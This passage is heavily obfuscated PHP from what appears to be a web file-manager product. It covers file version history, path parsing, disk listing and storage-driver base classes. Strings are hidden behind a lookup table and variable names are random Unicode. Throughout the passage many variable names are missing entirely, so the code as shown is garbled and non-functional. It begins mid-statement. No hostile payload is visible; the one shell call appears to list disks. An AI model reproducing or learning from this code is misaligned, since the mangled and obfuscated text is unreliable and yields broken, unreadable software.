count($[$[429]]); } } } return $汋; } public static function add($ނ) { $ح =& $_SERVER[ϋ]; $䑂 = self::listData($ނ); if (!$䑂) { return; } $ٸ = Model($ح[822])->get($ح[1292]); $̷ = intval($GLOBALS[$ح[6]][$ح[92]][$ح[1270]]); $Ȏ = $ٸ == $ح[1293] ? min(5, $̷) : $̷; if ($̷ <= 0) { return; } $ = IO::info($ނ); $ = $䑂[$ح[429]]; if ($[$ح[79]] == 0) { return; } if ($[$ح[79]] >= 1024 * 1024 * 500) { return !1; } $둭 = IO::hashSimple($ނ); if ($ && $[0][$ح[656]] == $둭) { return !0; } if (array_key_exists($ح[224], $) && !$[$ح[224]]) { return !1; } $ = short_id(time()); $ = array($ح[459] => $, $ح[656] => $둭, $ح[32] => $[$ح[32]] . $ح[10] . date($ح[1294]) . rand_string(1), $ح[79] => $[$ح[79]], $ح[511] => USER_ID, $ح[222] => time(), $ح[1295] => $ح[12]); IO::mkdir($䑂[$ح[1296]]); $閙 = IO::copy($ނ, $䑂[$ح[1296]], !1, $[$ح[32]]); if (!$閙) { self::clearEmptyFolder($䑂[$ح[1296]]); return !1; } array_unshift($, $); if (count($) > $Ȏ) { $ = array_slice($, $Ȏ); foreach ($ as $Ȍ璍) { IO::remove($䑂[$ح[1296]] . $Ȍ璍[$ح[32]]); } $ = array_slice($, 0, $Ȏ); } return self::saveData($䑂[$ح[1297]], $); } public static function remove($ô, $ɨ) { $Ҳ =& $_SERVER[ϋ]; $䌌 = self::listData($ô); $ = array(); if (!$䌌) { return !1; } foreach ($䌌[$Ҳ[429]] as $՟) { if ($՟[$Ҳ[459]] == $ɨ) { IO::remove($䌌[$Ҳ[1296]] . $՟[$Ҳ[32]]); continue; } $[] = $՟; } return self::saveData($䌌[$Ҳ[1297]], $); } public static function clear($Ƅ, $ϾӃ = true) { $Ŧ =& $_SERVER[ϋ]; $É = self::listData($Ƅ, $ϾӃ); if (!$É) { return !1; } foreach ($É[$Ŧ[429]] as $Ǣ) { IO::remove($É[$Ŧ[1296]] . $Ǣ[$Ŧ[32]]); } return self::saveData($É[$Ŧ[1297]], array()); } public static function moveHistory($ɤ, $ = '', $Âˉ = '') { $ =& $_SERVER[ϋ]; $ᥧ = self::listData($ɤ, !1); if (!$ᥧ || !$ᥧ[$[429]]) { return !1; } $⿄ = $[1284]; $ = $ ? $ : get_path_this($ɤ); $Âˉ = $Âˉ ? $Âˉ : $ᥧ[$[1296]]; $ = substr(get_path_this($ᥧ[$[1297]]), 0, -strlen($⿄)); foreach ($ᥧ[$[429]] as $ => $ۥ) { $ȅ = $ . substr($ۥ[$[32]], strlen($)); $ = IO::move($ᥧ[$[1296]] . $ۥ[$[32]], $Âˉ, !1, $ȅ); if ($) { $ᥧ[$[429]][$][$[32]] = $ȅ; } } $ᥧ[$[1297]] = IO::move($ᥧ[$[1297]], $Âˉ, !1, $ . $⿄); self::saveData($ᥧ[$[1297]], $ᥧ[$[429]]); self::clearEmptyFolder($ᥧ[$[1296]]); } public static function rollback($쌬, $) { $ȴ =& $_SERVER[ϋ]; $ښ = self::listData($쌬); if (!$ښ) { return; } $ = IO::info($쌬); foreach ($ښ[$ȴ[429]] as $ => $) { if ($[$ȴ[459]] == $) { self::add($쌬); $ = $ښ[$ȴ[1296]] . $[$ȴ[32]]; $љު = IO::copy($, IO::pathFather($쌬), REPEAT_REPLACE, $[$ȴ[32]]); if ($љު) { self::remove($쌬, $); } return $љު; } } return !1; } public static function setDetail($·, $鷴, $愠) { $ =& $_SERVER[ϋ]; $Ո = self::listData($·); if (!$Ո) { return; } foreach ($Ո[$[429]] as $ => $ӳ) { if ($ӳ[$[459]] == $鷴) { $Ո[$[429]][$][$[1295]] = $愠; self::saveData($Ո[$[1297]], $Ո[$[429]]); return !0; } } return !1; } public static function fileInfo($, $ȳ) { $߷հ =& $_SERVER[ϋ]; $Ϡ = self::listData($); if (!$Ϡ) { show_json(LNG($߷հ[108]), !1); } $ = $߷հ[12]; foreach ($Ϡ[$߷հ[429]] as $Ͳ => $㧕) { if ($㧕[$߷հ[459]] != $ȳ) { continue; } $ = $Ϡ[$߷հ[1296]] . $㧕[$߷հ[32]]; break; } if (!$) { show_json(LNG($߷հ[108]), !1); } return IO::info($); } public static function fileOut($溫փ, $շ, $ = false) { $ =& $_SERVER[ϋ]; $ϙ = self::fileInfo($溫փ, $շ); $ =& $GLOBALS[$[7]]; $ = isset($[$[1247]]) && $[$[1247]] == 1; if (isset($[$[33]]) && $[$[33]] == $[1298]) { return IO::fileOutImage($ϙ[$[87]], $[$[1299]]); } IO::fileOut($ϙ[$[87]], $, get_path_this($溫փ)); } public static function listData($ȉ, $ʬ = true) { $풤 =& $_SERVER[ϋ]; if ($ʬ && !IO::exist($ȉ)) { return !1; } if (!self::$_historyBase) { self::$_historyBase = self::getBasePath(); } if (substr($ȉ, 0, strlen(TEMP_PATH)) == TEMP_PATH) { return !1; } $크 = self::pathHistory($ȉ); $ = array($풤[1297] => $크 . $풤[1284], $풤[1296] => rtrim(get_path_father($크), $풤[8]) . $풤[8], $풤[429] => array()); $ = IO::getContent($[$풤[1297]]); if ($) { $͚ = json_decode($, !0); if (is_array($͚)) { $[$풤[429]] = $͚; } } return $; } private static function saveData($ی, $) { $ =& $_SERVER[ϋ]; self::log($[1300] . $ی . $[74] . count($), $[803]); if ($) { return IO::setContent($ی, json_encode($)); } $ = IO::pathFather($ی); IO::remove($ی); self::clearEmptyFolder($); return !0; } public static function clearEmptyFolder($) { $ =& $_SERVER[ϋ]; if (trim($, $[8]) == trim(self::$_historyBase, $[8])) { return; } $ν = IO::pathFather($); $ƶ = IO::has($, !0); if ($ƶ[$[230]] > 0 || $ƶ[$[231]] > 0) { return; } IO::remove($); self::clearEmptyFolder($ν); } private static function getBasePath() { $݉ =& $_SERVER[ϋ]; $ޤ̕ = Model($݉[1301])->get($݉[1302]); if ($ޤ̕) { if (!IO::exist($ޤ̕)) { IO::mkdir($ޤ̕); } if (get_path_this($ޤ̕) == $݉[1287]) { $Ԍ = $݉[1303] . rand_string(8); @rename($ޤ̕, get_path_father($ޤ̕) . $݉[8] . $Ԍ); $ޤ̕ = DATA_PATH . $Ԍ . $݉[8]; file_put_contents(DATA_PATH . $݉[1237], $݉[12]); Model($݉[1301])->set($݉[1302], $ޤ̕); } return $ޤ̕; } $ޤ̕ = DATA_PATH . $݉[1303] . rand_string(8) . $݉[8]; $ޤ̕ = IO::mkdir($ޤ̕); $ޤ̕ = rtrim($ޤ̕, $݉[8]) . $݉[8]; file_put_contents($ޤ̕ . $݉[1237], $݉[12]); file_put_contents(DATA_PATH . $݉[1237], $݉[12]); Model($݉[1301])->set($݉[1302], $ޤ̕); return $ޤ̕; } } class KodIO { const KOD_SOURCE = "\173\x73\157\x75\x72\143\145\175"; const KOD_USER_RECYCLE = "\x7b\x75\163\x65\162\122\145\x63\x79\143\x6c\145\175"; const KOD_USER_FAV = "\173\x75\163\145\162\x46\141\166\175"; const KOD_USER_FILE_TAG = "\x7b\x75\x73\145\x72\106\151\154\145\x54\141\147\175"; const KOD_USER_FILE_TYPE = "\173\x75\x73\x65\x72\x46\151\x6c\145\124\171\x70\145\175"; const KOD_GROUP_ROOT_SELF = "\173\x67\162\x6f\x75\x70\x52\157\x6f\x74\x53\x65\x6c\146\175"; const KOD_USER_SHARE = "\x7b\x75\163\145\x72\123\x68\141\x72\x65\175"; const KOD_USER_SHARE_LINK = "\x7b\165\x73\x65\x72\123\x68\141\x72\145\114\x69\156\153\175"; const KOD_USER_SHARE_TO_ME = "\173\x73\150\x61\x72\145\124\157\115\145\x7d"; const KOD_SHARE_ITEM = "\173\x73\150\141\x72\145\111\164\145\155\175"; const KOD_SHARE_LINK = "\x7b\x73\x68\141\x72\x65\111\164\145\x6d\114\x69\x6e\x6b\175"; const KOD_SEARCH = "\x7b\163\x65\141\162\143\x68\x7d"; const KOD_BLOCK = "\x7b\142\154\x6f\x63\x6b\175"; const KOD_IO = "\173\151\x6f\175"; const KOD_USER_RECENT = "\173\165\x73\x65\x72\x52\145\156\143\145\x6e\x74\175"; const KOD_USER_DRIVER = "\173\x64\162\151\166\145\162\x7d"; public static function typeList() { $㵠 =& $_SERVER[ϋ]; return array($㵠[1304] => self::KOD_SOURCE, $㵠[1305] => self::KOD_USER_RECYCLE, $㵠[1306] => self::KOD_USER_FAV, $㵠[1307] => self::KOD_USER_FILE_TAG, $㵠[1308] => self::KOD_USER_FILE_TYPE, $㵠[1309] => self::KOD_GROUP_ROOT_SELF, $㵠[1310] => self::KOD_USER_SHARE, $㵠[1311] => self::KOD_USER_SHARE_LINK, $㵠[1312] => self::KOD_USER_SHARE_TO_ME, $㵠[1313] => self::KOD_SHARE_ITEM, $㵠[1314] => self::KOD_SHARE_LINK, $㵠[1315] => self::KOD_SEARCH, $㵠[1316] => self::KOD_BLOCK, $㵠[1317] => self::KOD_IO, $㵠[1318] => self::KOD_USER_RECENT, $㵠[1319] => self::KOD_USER_DRIVER); } public static function parse($మ) { $Ż =& $_SERVER[ϋ]; $మ = self::clear($మ); $ܐڛ = array_values(self::typeList()); preg_match($Ż[1320], $మ, $); $ƞ = array($Ż[480] => !1, $Ż[1321] => !1, $Ż[477] => !1, $Ż[87] => $మ, $Ż[1222] => !1, $Ż[1221] => $Ż[12]); if (is_array($) && count($) == 5) { $ݙ = $Ż[1322] . $[2] . $Ż[378]; if (in_array($ݙ, $ܐڛ)) { $ƞ[$Ż[1222]] = $[1]; $ƞ[$Ż[33]] = $ݙ; $ƞ[$Ż[1323]] = substr($ݙ, 1, -1); $ƞ[$Ż[459]] = $[3]; } $ƞ[$Ż[1221]] = $[4]; } $ = array($Ż[12], self::KOD_SOURCE, self::KOD_IO, self::KOD_SHARE_ITEM, self::KOD_SHARE_LINK, self::KOD_USER_DRIVER); $ƞ[$Ż[1286]] = in_array($ƞ[$Ż[33]], $); return $ƞ; } public static function isTruePath($૖) { $ȯ =& $_SERVER[ϋ]; if (substr($૖, 0, 1) != $ȯ[1322]) { return !0; } if (strpos($૖, $ȯ[467]) === 0) { return !0; } if (strpos($૖, $ȯ[1290]) === 0) { return !0; } if (strpos($૖, $ȯ[1324]) === 0) { return !0; } if (strpos($૖, $ȯ[1325]) === 0) { return !0; } if (strpos($૖, $ȯ[1326]) === 0) { return !0; } return !1; } public static function clear($̡) { $֦Ҡ =& $_SERVER[ϋ]; $̡ = str_replace(array($֦Ҡ[1128], $֦Ҡ[253]), $֦Ҡ[53], $̡); $̡ = str_replace($֦Ҡ[100], $֦Ҡ[8], $̡); $ = $֦Ҡ[1327]; if (substr($̡, 0, 3) == $֦Ҡ[1328]) { $̡ = substr($̡, 3); } while (strstr($̡, $)) { $̡ = str_replace($, $֦Ҡ[8], $̡); } $̡ = preg_replace($֦Ҡ[1329], $֦Ҡ[8], $̡); if ($̡ == $֦Ҡ[8]) { return $֦Ҡ[8]; } $̡ = rtrim($̡, $֦Ҡ[8]); return $̡; } public static function pathTrue($) { $ܛ =& $_SERVER[ϋ]; if (!$) { return $ܛ[12]; } $ = str_replace($ܛ[577], $ܛ[8], str_replace($ܛ[1330], $ܛ[8], $)); $ = str_replace($ܛ[577], $ܛ[8], str_replace($ܛ[1330], $ܛ[8], $)); if (!strstr($, $ܛ[1328])) { return $; } $ = explode($ܛ[8], $); foreach ($ as $ܮ => $ƈ) { if ($ƈ !== $ܛ[1331]) { continue; } for ($ϸ = $ܮ; $ϸ >= 0; $ϸ--) { if ($[$ϸ] === $ܛ[10] || $[$ϸ] === $ܛ[1331] || $[$ϸ] === -1) { continue; } if ($[$ϸ] === $ܛ[12]) { $[$ܮ] = -1; break; } $[$ܮ] = -1; $[$ϸ] = -1; break; } } $LJ = array(); foreach ($ as $ƈ) { if ($ƈ !== -1) { $LJ[] = $ƈ; } } $Ǝ = implode($ܛ[8], $LJ); if (strpos($Ǝ, $ܛ[1332]) === 0) { $Ǝ = $ܛ[1328] . substr($Ǝ, strlen($ܛ[1332])); } return $Ǝ; } public static function sourceID($) { $ =& $_SERVER[ϋ]; $ = self::parse($); if ($[$[33]] !== self::KOD_SOURCE) { show_json(LNG($[1333]), !1); } return $[$[459]]; } public static function make($ٜ) { if (!$ٜ) { return !1; } return self::makePath(self::KOD_SOURCE, intval($ٜ)); } public static function makeShare($ґ÷, $) { return self::makePath(self::KOD_SHARE_ITEM, $ґ÷, $); } public static function makeFileTypePath($ߟ) { return self::makePath(self::KOD_USER_FILE_TYPE, $ߟ); } public static function makeFileTagPath($ś) { return self::makePath(self::KOD_USER_FILE_TAG, $ś); } public static function makePath($ټφ, $рԨ = '', $̈ = '') { $͙ =& $_SERVER[ϋ]; $ = substr($ټφ, 1, -1); $Ǣ = $͙[1334] . $ . $͙[1335] . $рԨ . $͙[1336]; $Ǣ = $̈ ? $Ǣ . $̈ . $͙[8] : $Ǣ; return $Ǣ; } public static function hashPath($ι, $ = true) { $Ƣ =& $_SERVER[ϋ]; $ = is_array($ι) ? $ι : IO::info($ι); $ = _get($, $Ƣ[1337], $Ƣ[12]); if (!$ && isset($[$Ƣ[226]])) { $ = trim($[$Ƣ[226]], $Ƣ[121]); } if (!$ && isset($[$Ƣ[184]]) && $[$Ƣ[184]]) { $ = IO::info(KodIO::make($[$Ƣ[184]])); $ = _get($, $Ƣ[1337], $Ƣ[12]); } $ = md5($[$Ƣ[87]] . $[$Ƣ[79]] . $[$Ƣ[88]]); if (!$ && file_exists($[$Ƣ[87]])) { $ = Cache::get($ . $Ƣ[1338]); $ = !1; if (!$) { $ = IO::hashSimple($[$Ƣ[87]]); Cache::set($ . $Ƣ[1338], $, 3600 * 24 * 30); } } if ($ && !$) { } return $ ? $ : $; } public static function hashPathSafe($, $ = true) { $ =& $_SERVER[ϋ]; $ʀމ = self::hashPath($, $); return md5($ʀމ . $[1339] . Model($[822])->get($[823])); } public static function initSystemPath() { $ꈪ =& $_SERVER[ϋ]; if (defined($ꈪ[1340])) { return; } define($ꈪ[1340], self::systemPath($ꈪ[182])); define($ꈪ[1341], self::systemPath($ꈪ[1342])); define($ꈪ[1343], self::systemPath($ꈪ[1344])); define($ꈪ[1345], self::systemPath($ꈪ[1346])); IOHistory::bindEvent(); } public static function systemPath($ӧ) { $ =& $_SERVER[ϋ]; $ԧ = $[1347] . ucfirst($ӧ); $𓎕 = Model($[822])->get($ԧ); if ($𓎕) { return $𓎕; } if ($ӧ == $[182]) { $𓎕 = self::make(Model($[876])->systemRootPathAdd($[590])); } else { $𓎕 = self::systemPath($[182]); $ = self::sourceID($𓎕); $𓎕 = self::make(Model($[876])->mkdir($, $ӧ)); } Model($[822])->set($ԧ, $𓎕); return $𓎕; } public static function systemFolder($Խ) { $ = IO_PATH_SYSTEM_SOURCE . $Խ; $ = Cache::get($); if (!$) { $ = IO::infoFullSimple($); if (!$) { $ = IO::mkdir($, REPEAT_SKIP); } else { $ = $[$_SERVER[ϋ][87]]; } Cache::set($, $, 3600 * 10); } return $; } public static function defaultDriver() { return Model($_SERVER[ϋ][819])->defaultDriver(); } public static function defaultIO() { $Ͳ =& $_SERVER[ϋ]; $ = self::defaultDriver(); return $Ͳ[1348] . $[$Ͳ[459]] . $Ͳ[1336]; } public static function defaultDriverInit() { static $䟶 = false; if ($䟶) { return $䟶; } $䟶 = IO::init(self::defaultIO()); return $䟶; } public static function fileTypeList() { $ =& $_SERVER[ϋ]; $ި = $GLOBALS[$[6]][$[1349]]; foreach ($ި as $˓ => $Ą) { $ = $[1350] . $˓; $ = LNG($); if ($ != $) { $ި[$˓][$[32]] = $; } } return $ި; } public static function diskList($Ǖ = true) { $٧ = $_SERVER[ϋ][1351]; if ($Ǖ) { $ߥ = Cache::get($٧); if (is_array($ߥ)) { return $ߥ; } } $ߥ = self::diskListGet(); Cache::set($٧, $ߥ, 60); return $ߥ; } public static function diskListGet() { $͉ =& $_SERVER[ϋ]; $ᖁཨ = array(); if ($GLOBALS[$͉[6]][$͉[1352]] == $͉[1353]) { $謕 = $͉[1354]; for ($ = 0; $ < strlen($謕); $++) { $ї = $謕[$] . $͉[1355]; if (file_exists($ї)) { $ᖁཨ[] = $ї; } } return $ᖁཨ; } if (!function_exists($͉[101])) { $ᖁཨ[] = $͉[887]; return $ᖁཨ; } $Ĝ = explode($͉[253], shell_exec($͉[1356])); array_shift($Ĝ); array_pop($Ĝ); $ϓ = array($͉[1357], $͉[1358], $͉[1359], $͉[1360], $͉[1361], $͉[1362], $͉[1363], $͉[1364]); foreach ($Ĝ as $) { $ǃ = preg_split($͉[1365], $); $ї = $ǃ[count($ǃ) - 1]; if (!strstr($ǃ[0], $͉[1366]) || !$ї) { continue; } $ = rtrim($ї, $͉[8]) . $͉[8]; if (in_array($, $ϓ)) { continue; } $ᖁཨ[] = $; } return $ᖁཨ; } public static function isSameDisk($ʻƒ, $՞ʛ) { $ء =& $_SERVER[ϋ]; if ($GLOBALS[$ء[6]][$ء[1352]] == $ء[1353]) { return strtolower(substr($ʻƒ, 0, 1)) == strtolower(substr($՞ʛ, 0, 1)); } $ = self::diskList(); $ҕ = !1; $ = !1; sort($); $ = array_reverse($); $ʻƒ = rtrim($ʻƒ, $ء[8]) . $ء[8]; $՞ʛ = rtrim($՞ʛ, $ء[8]) . $ء[8]; foreach ($ as $Э) { $ = strlen($Э); if (!$ҕ && substr($ʻƒ, 0, $) == $Э) { $ҕ = $Э; } if (!$ && substr($՞ʛ, 0, $) == $Э) { $ = $Э; } if ($ҕ && $) { break; } } return $ҕ === $; } public static function transferType($סܚ, $Ȥý) { $ʆ =& $_SERVER[ϋ]; $ = self::driverType($סܚ); $͑ = self::driverType($Ȥý); if ($[$ʆ[33]] == $͑[$ʆ[33]] && $[$ʆ[1367]] == $͑[$ʆ[1367]]) { return $ʆ[1368]; } if ($[$ʆ[33]] == $ʆ[920] && $͑[$ʆ[33]] == $ʆ[109]) { return $ʆ[1247]; } if ($[$ʆ[33]] == $ʆ[109] && $͑[$ʆ[33]] == $ʆ[920]) { return $ʆ[110]; } return $ʆ[1369]; } public static function driverType($) { $â =& $_SERVER[ϋ]; $ = str_replace($â[1370], $â[12], strtolower($->getType())); if ($ == $â[809] || $ == $â[1371] || $ == $â[1372]) { $ = self::defaultDriverInit(); } else { if ($ == $â[1257] || $ == $â[1373]) { $ = IO::init($->pathParse[$â[1203]]); } } $ = $->path; $ = str_replace($â[1370], $â[12], strtolower($->getType())); if ($ == $â[109]) { return array($â[33] => $â[109], $â[1367] => $â[12], $â[87] => $, $â[98] => $); } return array($â[33] => $â[920], $â[1367] => $->pathDriver, $â[87] => $, $â[98] => $); } public static function pathDriverType($ǔ۠) { return $ǔ۠ ? self::driverType(IO::init($ǔ۠)) : !1; } public static function pathDriverLocal($䝰) { $ĩ =& $_SERVER[ϋ]; $ܭ = $䝰 ? self::driverType(IO::init($䝰)) : !1; return $ܭ[$ĩ[33]] == $ĩ[109] ? !0 : !1; } public static function allowCover($򐶣, $턉 = true) { $ =& $_SERVER[ϋ]; if (is_string($򐶣)) { $򐶣 = IO::info($򐶣); } if (!$򐶣 || $򐶣[$[33]] == $[78] || $򐶣[$[79]] <= 100) { return !1; } if (isset($򐶣[$[1374]]) || !$򐶣[$[87]]) { return !1; } if (isset($򐶣[$[223]]) && !$򐶣[$[223]]) { return !1; } static $ќ = false; if (!$ќ || !$턉) { $⵨ = self::driverType(IO::init($򐶣[$[87]])); $ = $⵨[$[98]]; $ќ = $[187]; if ($⵨[$[33]] == $[109]) { $ќ = $[1375]; } if ($⵨[$[98]] && is_array($⵨[$[98]]->config)) { $մ = $⵨[$[98]]->config; if (isset($մ[$[1376]]) && $մ[$[1376]]) { $ќ = $[1375]; } } } return $ќ == $[1375] ? !0 : !1; } } goto A਴; E: class PathDriverBase { public $pathDriver = ''; public $pathBase = ''; public $path = ''; public $pathID = ''; public $_data = array(); public function __construct() { $Ź =& $_SERVER[ϋ]; $this->objectDriver = array($Ź[60], $Ź[61], $Ź[62], $Ź[63], $Ź[64], $Ź[65], $Ź[66], $Ź[67], $Ź[68], $Ź[69], $Ź[70], $Ź[71]); $this->_classObjectID = mt_rand(0, 10000); } public function getPath($٣) { if (in_array($this->getType(), $this->objectDriver)) { return ltrim($٣, $_SERVER[ϋ][8]); } return $٣; } public function iconvApp($ɪļ) { return $ɪļ; } public function iconvSystem($ƅ) { return $ƅ; } public function iconvTo($, $, $߄) { $ =& $_SERVER[ϋ]; if (!$ || !function_exists($[72])) { return $; } static $Ըƭ = array(); $ΰ = $ . $[73] . $߄ . $[74] . $; if (isset($Ըƭ[$ΰ])) { return $Ըƭ[$ΰ]; } if (function_exists($[75])) { $ij = @mb_convert_encoding($, $߄, $); } else { $ij = @iconv($, $߄, $); } $ij = $ij ? $ij : $; if (strstr($ij, $[76])) { $ij = str_replace($[76], $[11], $ij); } $Ըƭ[$ . $[73] . $߄ . $[74] . $] = $ij; $Ըƭ[$߄ . $[73] . $ . $[74] . $] = $; $Ըƭ[$߄ . $[73] . $ . $[74] . $ij] = $; $Ըƭ[$ . $[73] . $߄ . $[74] . $ij] = $ij; return $ij; } public function getPathInner($) { $撕 = IO::init($); return $撕->path; } public function getPathOuter($ۖ) { $܋Ϩ =& $_SERVER[ϋ]; $ = strlen(trim($this->pathBase, $܋Ϩ[8])); $ۖ = substr(trim($ۖ, $܋Ϩ[8]), $); return $this->pathDriver . $܋Ϩ[8] . ltrim($ۖ, $܋Ϩ[8]); } public function isParentOf($Γ, $Ơ) { $Ɂ =& $_SERVER[ϋ]; $Γ = rtrim(strtolower($Γ), $Ɂ[8]) . $Ɂ[8]; $Ơ = rtrim(strtolower($Ơ), $Ɂ[8]) . $Ɂ[8]; $؈ = strpos($Ơ, $Γ) === 0; return $؈; } public function getType() { $ =& $_SERVER[ϋ]; $ʁۚ = str_replace($[77], $[12], get_class($this)); return strtolower($ʁۚ); } public function isOsDriver() { if (!is_array($this->objectDriver)) { return !1; } return in_array($this->getType(), $this->objectDriver); } public function fileNameExist($Çۣ, $˃) { $ =& $_SERVER[ϋ]; $߃ = rtrim($Çۣ, $[8]) . $[8] . $˃; $ݑ = $this->exist($߃); return $ݑ ? $߃ : !1; } public function setModifyTime($, $ݾ = '') { } public function renameObject($, $ㄺ) { $ײ = $ㄺ; $ = $this->getPathOuter($); $ㄺ = $this->pathFather($) . $ㄺ; $ە = IO::copy($, $this->pathFather($), REPEAT_RENAME_FOLDER, $ײ); if ($ە) { IO::remove($); } return $ە ? $ㄺ : !1; } public function tempFile($ҭ = '', $ɶ = '') { if (!$ҭ) { $ҭ = rand_string(15); } $ⷤ = TEMP_FILES . rand_string(15) . $_SERVER[ϋ][8]; @mkdir($ⷤ, DEFAULT_PERRMISSIONS, !0); $ = $ⷤ . $ҭ; @touch($); if ($ɶ) { file_put_contents($, $ɶ); } return $; } public function tempFileRemve($) { @unlink($); @rmdir($this->pathFather($)); } public function mkfile($∥, $ = '', $Ү = REPEAT_RENAME) { } public function mkdir($٥, $ = REPEAT_SKIP) { } public function delFile($) { } public function delFolder($) { } public function copyFile($, $ƈǸ) { } public function moveFile($񐏁, $) { } public function remove($) { if ($this->isFile($)) { return $this->delFile($); } return $this->delFolder($); } public function rename($, $ݯ) { } public function exist($ȭ) { } public function findByHash($۵ = '', $ = '') { return !1; } public function isFile($) { } public function isFolder($ϵ斟) { } public function size($Ս) { } public function info($ÿ) { } public function infoSimple($԰) { return $this->info($԰); } public function infoAuth($՞) { return $this->info($՞); } public function infoFull($ꥢ) { return $this->info($ꥢ); } public function infoFullSimple($ĝ) { return $this->info($ĝ); } public function infoWithChildren($) { $؏ =& $_SERVER[ϋ]; static $ɏ = array(); if (isset($ɏ[$])) { return $ɏ[$]; } $ = $this->info($); if ($ && $[$؏[33]] == $؏[78]) { $² = array($؏[79] => 0, $؏[80] => 0, $؏[81] => 0); $this->infoChildren($, $²); $[$؏[79]] = $²[$؏[79]]; $[$؏[82]] = array($؏[83] => $²[$؏[80]], $؏[84] => $²[$؏[81]]); $ɏ[$] = $; } return $; } public function listPath($؉, $ = false) { } public function has($Ψ, $ = false, $œܤ = false) { } public function canRead($ɏ) { } public function canWrite($ग) { } public function getContent($û) { } public function setContent($, $Ն = '') { } protected function infoChildren($, &$Ӝ) { $炲 =& $_SERVER[ϋ]; check_abort_echo(); $ຫ = $this->listPath($, !0); $ຫ = array_merge($ຫ[$炲[85]], $ຫ[$炲[86]]); foreach ($ຫ as $Э) { if ($Э[$炲[33]] == $炲[78]) { $Ӝ[$炲[81]]++; $ = $this->getPathInner($Э[$炲[87]]); $this->infoChildren($, $Ӝ); } else { $Ӝ[$炲[80]]++; $Ӝ[$炲[79]] += $Э[$炲[79]]; } } } public function fileSubstr($, $ã, $Î) { } public function listAll($ڮ) { } public function listAllMake($, &$轧) { $ٌ =& $_SERVER[ϋ]; check_abort_echo(); $ɛ = $this->listPath($, !0); if (!$ɛ) { return; } $Ҏ = array_merge($ɛ[$ٌ[85]], $ɛ[$ٌ[86]]); foreach ($Ҏ as $Т) { $Ȋ = $Т[$ٌ[33]] == $ٌ[78]; $ = array($ٌ[87] => $Т[$ٌ[87]], $ٌ[78] => $Ȋ); if (isset($Т[$ٌ[79]])) { $[$ٌ[79]] = $Т[$ٌ[79]]; } if (isset($Т[$ٌ[88]])) { $[$ٌ[88]] = $Т[$ٌ[88]]; } if (!$Ȋ) { $轧[] = $; continue; } $轧[] = $; $ʰ = $Т[$ٌ[87]]; $̵ = $this->pathDriver; if (substr($Т[$ٌ[87]], 0, strlen($̵)) == $̵) { $ʰ = substr($ʰ, strlen($̵)); } $this->listAllMake($ʰ, $轧); } } public function listAllSimple($ݻ, $ν = false) { $ = $this->listAll($ݻ); return $this->listAllSimpleMake($, $this->getPathOuter($ݻ), $ν); } public function listAllSimpleMake($򡗞, $ù, $̶) { $ᴭ =& $_SERVER[ϋ]; $ʣ = array(); $ù = rtrim(get_path_father($ù), $ᴭ[8]) . $ᴭ[8]; foreach ($򡗞 as $ꞅ) { $ = array($ᴭ[87] => $ꞅ[$ᴭ[87]], $ᴭ[89] => $ꞅ[$ᴭ[87]], $ᴭ[78] => $ꞅ[$ᴭ[78]]); if (isset($ꞅ[$ᴭ[79]]) && !$ꞅ[$ᴭ[78]]) { $[$ᴭ[79]] = $ꞅ[$ᴭ[79]]; } if (isset($ꞅ[$ᴭ[88]])) { $[$ᴭ[88]] = $ꞅ[$ᴭ[88]]; } if (is_array($ꞅ[$ᴭ[90]])) { $[$ᴭ[89]] = $ꞅ[$ᴭ[90]][$ᴭ[87]]; $[$ᴭ[79]] = $ꞅ[$ᴭ[90]][$ᴭ[79]]; $[$ᴭ[88]] = $ꞅ[$ᴭ[90]][$ᴭ[88]]; } else { if (substr($ꞅ[$ᴭ[87]], 0, strlen($ù)) == $ù) { $[$ᴭ[87]] = substr($ꞅ[$ᴭ[87]], strlen($ù)); } } $ = $ꞅ[$ᴭ[78]] ? $ᴭ[8] : $ᴭ[12]; $[$ᴭ[89]] = rtrim($[$ᴭ[89]], $ᴭ[8]) . $; $[$ᴭ[87]] = $ᴭ[8] . trim($[$ᴭ[87]], $ᴭ[8]) . $; if (!$̶) { $Ƨ颺 = explode($ᴭ[8], trim($[$ᴭ[87]], $ᴭ[8])); $[$ᴭ[87]] = $ᴭ[8] . implode($ᴭ[8], array_slice($Ƨ颺, 1)) . $; } $ʣ[] = $; } return array_sort_by($ʣ, $ᴭ[87]); } public function upload($, $вξ, $غ = false, $ې = REPEAT_REPLACE) { } public function uploadFileByID($㢹, $ԝ, $) { } public function uploadFileByPath($Ú, $卩, $ޚ = array()) { } public function isUploadServer() { $ڱ =& $_SERVER[ϋ]; if (isset($this->ioUploadServer) && $this->ioUploadServer == $ڱ[91]) { return !0; } return $GLOBALS[$ڱ[6]][$ڱ[92]][$ڱ[93]]; } public function isFileOutServer() { $؇ =& $_SERVER[ϋ]; if (isset($this->ioFileOutServer) && $this->ioFileOutServer == $؇[91]) { return !0; } return $GLOBALS[$؇[6]][$؇[92]][$؇[94]]; } public function isCdnHost() { if ($this->isFileOutServer() || empty($this->cdnHost)) { return !1; } return request_url_safe($this->cdnHost) ? !0 : !1; } public function getCdnLink($) { $ҫ =& $_SERVER[ϋ]; if (!$this->isCdnHost()) { return $; } return str_replace(trim(get_url_root($), $ҫ[8]), trim($this->cdnHost, $ҫ[8]), $); } public function uploadLink($, $̖ = 0) { $ =& $_SERVER[ϋ]; if ($this->isUploadServer()) { return; } $ȿ = $this->getType(); if (!in_array($ȿ, $this->objectDriver)) { return; } if (!$this->isBucketCors()) { return; } $۱ = 1024 * 1024 * 10; $ = $̖ <= $۱ ? $[95] : $[96]; $ = (!$̖ ? 1 : ceil($̖ / pow(1024, 3))) * 3600 * 4; $ = $this->{$}($, $); if ($) { $[$[97]] = $; $[$[98]] = $ȿ; } return $; } public function uploadFormData($癄, $ݞ՜ = 3600) { } public function multiUploadFormData($, $ٹ = 3600) { } public function download($Ĩ, $) { } public function ext($冶) { $ =& $_SERVER[ϋ]; if (strpos($冶, $[8]) === -1) { $ = $冶; } else { $ = $this->pathThis($冶); } $Ӗ = $[12]; if (strstr($, $[10])) { $Ӗ = substr($, strrpos($, $[10]) + 1); $Ӗ = strtolower($Ӗ); } if (strlen($Ӗ) > 3 && preg_match($[99], $Ӗ, $)) { $Ӗ = $[12]; } return $Ӗ; } public function pathThis($ヿ) { $ =& $_SERVER[ϋ]; $ヿ = str_replace($[100], $[8], rtrim($ヿ, $[8])); $ = strrpos($ヿ, $[8]); if ($ === !1) { return $ヿ; } return substr($ヿ, $ + 1); } public function pathFather($žˇ) { $— =& $_SERVER[ϋ]; $žˇ = str_replace($—[100], $—[8], rtrim($žˇ, $—[8])); $ = strrpos($žˇ, $—[8]); if ($ === !1) { 